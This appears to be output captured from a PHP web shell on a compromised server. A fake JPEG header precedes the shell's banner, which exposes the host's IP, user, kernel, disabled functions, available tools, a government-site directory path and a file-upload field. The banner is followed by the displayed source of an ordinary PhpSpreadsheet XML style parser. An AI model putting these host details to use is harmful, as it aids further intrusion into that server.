ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.15.143.8 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xml/ |
Upload File : |
<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xml; use SimpleXMLElement; class Style { /** * Formats. * * @var array */ protected $styles = []; public function parseStyles(SimpleXMLElement $xml, array $namespaces): array { if (!isset($xml->Styles)) { return []; } $alignmentStyleParser = new Style\Alignment(); $borderStyleParser = new Style\Border(); $fontStyleParser = new Style\Font(); $fillStyleParser = new Style\Fill(); $numberFormatStyleParser = new Style\NumberFormat(); foreach ($xml->Styles[0] as $style) { $style_ss = self::getAttributes($style, $namespaces['ss']); $styleID = (string) $style_ss['ID']; $this->styles[$styleID] = $this->styles['Default'] ?? []; $alignment = $border = $font = $fill = $numberFormat = []; foreach ($style as $styleType => $styleDatax) { $styleData = $styleDatax ?? new SimpleXMLElement('<xml></xml>'); $styleAttributes = $styleData->attributes($namespaces['ss']); switch ($styleType) { case 'Alignment': $alignment = $alignmentStyleParser->parseStyle($styleAttributes); break; case 'Borders': $border = $borderStyleParser->parseStyle($styleData, $namespaces); break; case 'Font': $font = $fontStyleParser->parseStyle($styleAttributes); break; case 'Interior': $fill = $fillStyleParser->parseStyle($styleAttributes); break; case 'NumberFormat': $numberFormat = $numberFormatStyleParser->parseStyle($styleAttributes); break; } } $this->styles[$styleID] = array_merge($alignment, $border, $font, $fill, $numberFormat); } return $this->styles; } protected static function getAttributes(?SimpleXMLElement $simple, string $node): SimpleXMLElement { return ($simple === null) ? new SimpleXMLElement('<xml></xml>') : ($simple->attributes($node) ?? new SimpleXMLElement('<xml></xml>')); } }